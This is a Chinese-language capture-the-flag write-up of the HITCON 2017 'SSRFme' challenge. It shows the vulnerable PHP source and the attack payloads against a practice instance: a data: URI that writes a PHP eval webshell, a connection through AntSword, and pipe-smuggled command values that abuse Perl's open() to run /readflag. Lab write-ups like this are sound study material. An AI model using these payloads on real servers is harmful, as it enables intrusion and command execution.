# [HITCON 2017]SSRFme
127.0.0.1<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
实现发送 GET 请求给当前 GET 参数’url‘,并将其结果保存在 /sandbox/md5 (“orange” . $_SERVER [“REMOTE_ADDR”])/filename 中,其中 filename 为传入的 Get 参数。
将 filename 存储在 /sandbox/md5 (“orange”+127.0.0.1)/filename 里面,url 是将读到的内容写入 filename 中
通过 /sandbox/md5 (“orange”+127.0.0.1)/filename 可以访问得到
# 2. 路径泄露
-
试试路径泄露,直接访问本机根目录:
http://59c29008-ea1f-4cf4-89c9-16cb955abca7.node4.buuoj.cn:81/?url=/&filename=upload/test.php
此时发现 flag,就在根目录中:
但是 GET 命令并不能读文件,此时想的是通过一个远程主机写好马,然后 get 完之后将马存储在 test.php 中,实现远程写马。但是因为没有公网 ip (还是穷),而且推测 get 完远程主机返回的不一定是 php 代码而是 html,所以作罢,想想其他思路。
-
这里存在一个 readflag,于是测试一下访问它:
http://59c29008-ea1f-4cf4-89c9-16cb955abca7.node4.buuoj.cn:81/?url=/readflag&filename=upload/test.php
感觉是读 flag 的脚本,那现在需要做的就是执行它。
# 3. 思路一:SSRF 配合伪协议
联想到之前有个题目中是 file_put_contents 函数使用 data 伪协议控制其内容,这里想通过 GET 后加 data 伪协议实现写马,payload:
?url=data:text/plain,'<?php @eval($_POST['capt'])?>'&filename=upload/test.php
至于为什么需要引号,可以在 linux 中测试,如果不加引号,命令行会因为 <? 等符号解析错误。
此时因为写入的文件名称后缀可以是 php,所以直接访问沙河中的 php 文件,再使用蚁剑连接。但是直接打开根目录的 flag 显示为空。所以在蚁剑中打开命令行,运行 readflag:
# 4. 思路二:perl 语言漏洞
这也是大部分题解中的思路,利用 perl 语言的漏洞:
因为 GET 函数在底层调用了 perl 语言中的 open 函数,但是该函数存在 rce 漏洞。当 open 函数要打开的文件名中存在管道符(并且系统中存在该文件名),就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行。
先创建该文件:
?url=&filename=|/readflag |
再执行命令:
?url=file:|readflag&filename=123 |
最后访问 123 文件即可。但是网上的 Payload 我都没成功。
# 总结
- 对于 ssrf 首先还是想到伪协议
- perl 语言的漏洞,管道符的利用